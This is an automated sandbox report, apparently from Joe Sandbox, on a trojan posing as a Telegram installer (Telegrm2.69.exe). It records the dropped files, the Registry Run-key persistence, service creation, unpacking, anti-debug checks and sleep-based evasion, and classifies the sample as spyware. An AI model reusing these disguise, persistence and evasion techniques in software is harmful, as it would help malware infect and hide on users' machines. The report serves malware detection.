Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D71D38	4_2_000002B589D71D38
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D7D42B	4_2_000002B589D7D42B
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D86004	4_2_000002B589D86004
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D73EE8	4_2_000002B589D73EE8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D86E70	4_2_000002B589D86E70
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D87E60	4_2_000002B589D87E60
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D81E58	4_2_000002B589D81E58
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D881C0	4_2_000002B589D881C0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D878DC	4_2_000002B589D878DC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D71838	4_2_000002B589D71838
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D89BFC	4_2_000002B589D89BFC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D7FB38	4_2_000002B589D7FB38
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D872F0	4_2_000002B589D872F0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D832BC	4_2_000002B589D832BC

Source: Joe Sandbox View	Dropped File: C:\ProgramData\vzobo\arphaCrashReport64.exe E743E8FAC075A379161E1736388451E0AF0FDE7DA595EA9D15EEB5140E3E8271
Source: Joe Sandbox View	Dropped File: C:\ProgramData\vzobo\arphaDump64.dll 7FCD3560EF424424DBD26B8E1BA90CA0F6198AA1D0BDA44F92CB880F4666A1F1

Source: Telegrm2.69.exe

Static PE information: invalid certificate

Source: Telegrm2.69.exe

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: Telegrm2.69.exe	Binary or memory string: OriginalFilename vs Telegrm2.69.exe
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNemuDTrace.exeH vs Telegrm2.69.exe
Source: Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNemuDTrace.exeH vs Telegrm2.69.exe
Source: Telegrm2.69.exe	Binary or memory string: OriginalFilenamepg^tMfc.exe8 vs Telegrm2.69.exe

Source: classification engine

Classification label: mal68.troj.spyw.evad.winEXE@3/3@1/2

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	0_2_0362F8D0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	3_2_0000021497F2F8D0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	4_2_000002B58A06F8D0

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_03623560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_03623560

Source: C:\ProgramData\vzobo\arphaCrashReport64.exe

Code function: 3_2_00007FF600162CB0 CoCreateInstance,

3_2_00007FF600162CB0

Source: C:\ProgramData\vzobo\arphaCrashReport64.exe

Code function: 3_2_00007FF6001664E0 LoadResource,LockResource,SizeofResource,

3_2_00007FF6001664E0

Source: C:\Users\user\Desktop\Telegrm2.69.exe

0_2_0362F8D0

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\49ba59abbe56e057_31507
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\49ba59abbe56e057_31514
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\49ba59abbe56e057_31517

Source: C:\Users\user\Desktop\Telegrm2.69.exe

File created: C:\Windows\Temp\49ba59abbe56e057.log

Jump to behavior

Source: Telegrm2.69.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Telegrm2.69.exe "C:\Users\user\Desktop\Telegrm2.69.exe"
Source: unknown	Process created: C:\ProgramData\vzobo\arphaCrashReport64.exe "C:\ProgramData\vzobo\arphaCrashReport64.exe"
Source: unknown	Process created: C:\ProgramData\vzobo\arphaCrashReport64.exe "C:\ProgramData\vzobo\arphaCrashReport64.exe"

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: arphadump64.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: arphadump64.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Section loaded: sspicli.dll	Jump to behavior

Source: Telegrm2.69.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Telegrm2.69.exe

Static file information: File size 27643656 > 1048576

Source: Telegrm2.69.exe	Static PE information: section name: RT_CURSOR
Source: Telegrm2.69.exe	Static PE information: section name: RT_BITMAP
Source: Telegrm2.69.exe	Static PE information: section name: RT_ICON
Source: Telegrm2.69.exe	Static PE information: section name: RT_MENU
Source: Telegrm2.69.exe	Static PE information: section name: RT_DIALOG
Source: Telegrm2.69.exe	Static PE information: section name: RT_STRING
Source: Telegrm2.69.exe	Static PE information: section name: RT_ACCELERATOR
Source: Telegrm2.69.exe	Static PE information: section name: RT_GROUP_ICON

Source: Telegrm2.69.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x1a13600

Source: Telegrm2.69.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Telegrm2.69.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\jenkins\workspace\ci.arphasdk.build\qtc_out\Release_X64\arphaCrashReport64.exe.pdb source: arphaCrashReport64.exe, 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000003.00000000.2261907126.00007FF600182000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000004.00000000.2342740567.00007FF600182000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890832844.00007FF600182000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe.0.dr
Source:	Binary string: C:\Users\Admin\Documents\Visual Studio 2008\Projects\D11\x64\Release\D11.pdb source: arphaCrashReport64.exe, 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890942598.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmp, arphaDump64.dll.0.dr
Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb!` source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Mfc.pdb source: Telegrm2.69.exe

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Unpacked PE file: 0.2.Telegrm2.69.exe.3620000.4.unpack

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_036217D0 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RegCreateKeyExA,RegOpenKeyExA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,FreeLibrary,

0_2_036217D0

Source: arphaDump64.dll.0.dr

Static PE information: real checksum: 0x217b16 should be: 0x21d056

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03644E2E push rbp; iretd	0_2_03644E38
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_02BE8600 push eax; ret	0_2_02BE8602
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_02BE8CBA pushfd ; iretd	0_2_02BE8CBD
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_02BE8C50 push eax; ret	0_2_02BE8C52
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03347854 pushfd ; ret	0_2_03347855
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F44E2E push rbp; iretd	3_2_0000021497F44E38
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021496230FC0 push eax; ret	3_2_0000021496230FC2
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497C47854 pushfd ; ret	3_2_0000021497C47855
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A084E2E push rbp; iretd	4_2_000002B58A084E38
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B588330FC0 push eax; ret	4_2_000002B588330FC2
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B589D87854 pushfd ; ret	4_2_000002B589D87855

Source: C:\Users\user\Desktop\Telegrm2.69.exe	File created: C:\ProgramData\vzobo\arphaCrashReport64.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Telegrm2.69.exe	File created: C:\ProgramData\vzobo\arphaDump64.dll			Jump to dropped file

Source: C:\Users\user\Desktop\Telegrm2.69.exe	File created: C:\ProgramData\vzobo\arphaCrashReport64.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Telegrm2.69.exe	File created: C:\ProgramData\vzobo\arphaDump64.dll			Jump to dropped file

Source: C:\Users\user\Desktop\Telegrm2.69.exe

0_2_0362F8D0

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run izhecx			Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run izhecx			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 280
Source: unknown	Network traffic detected: HTTP traffic on port 280 -> 49706

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_03623560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_03623560

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Window / User API: threadDelayed 9853	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Window / User API: threadDelayed 9938	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Window / User API: threadDelayed 9454	Jump to behavior

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_0-24943
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_3-41115

Source: C:\Users\user\Desktop\Telegrm2.69.exe TID: 4512	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe TID: 2180	Thread sleep count: 9853 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Telegrm2.69.exe TID: 2180	Thread sleep time: -98530s >= -30000s	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe TID: 3780	Thread sleep count: 9938 > 30	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe TID: 3780	Thread sleep time: -99380s >= -30000s	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe TID: 5228	Thread sleep count: 9454 > 30	Jump to behavior
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe TID: 5228	Thread sleep time: -94540s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Last function: Thread delayed
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Last function: Thread delayed
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Last function: Thread delayed
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Last function: Thread delayed
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_0362EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_0362EF20
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F2EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	3_2_0000021497F2EF20
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF600178F78 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	3_2_00007FF600178F78
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A06EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_000002B58A06EF20

Source: Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3889832404.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2066727283.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: arphaCrashReport64.exe, 00000003.00000002.3890061245.000002149602C000.00000004.00000020.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890066354.000002B588348000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Telegrm2.69.exe	API call chain: ExitProcess graph end node	graph_0-25271
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	API call chain: ExitProcess graph end node	graph_3-40696
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	API call chain: ExitProcess graph end node	graph_3-40151
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_03330020 NtAllocateVirtualMemory,LdrLoadDll,

0_2_03330020

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_03634565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_03634565

Source: C:\ProgramData\vzobo\arphaCrashReport64.exe

Code function: 3_2_00007FF60016D1E8 GetLastError,IsDebuggerPresent,OutputDebugStringW,

3_2_00007FF60016D1E8

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_03623560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_03623560

Source: C:\Users\user\Desktop\Telegrm2.69.exe

0_2_036217D0

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_03632020 free,VirtualFree,GetProcessHeap,HeapFree,

0_2_03632020

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03634565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_03634565
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03635518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_03635518
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_03632C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_03632C00
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F34565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0000021497F34565
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F35518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0000021497F35518
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F32C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0000021497F32C00
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF6001721D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF6001721D8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF60016E440 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF60016E440
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF60016ED0C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF60016ED0C
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF60016EEF4 SetUnhandledExceptionFilter,	3_2_00007FF60016EEF4
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF8A8D269DC RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8A8D269DC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF8A8D2233C RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8A8D2233C
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF8A8D215B0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8A8D215B0
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A075518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_000002B58A075518
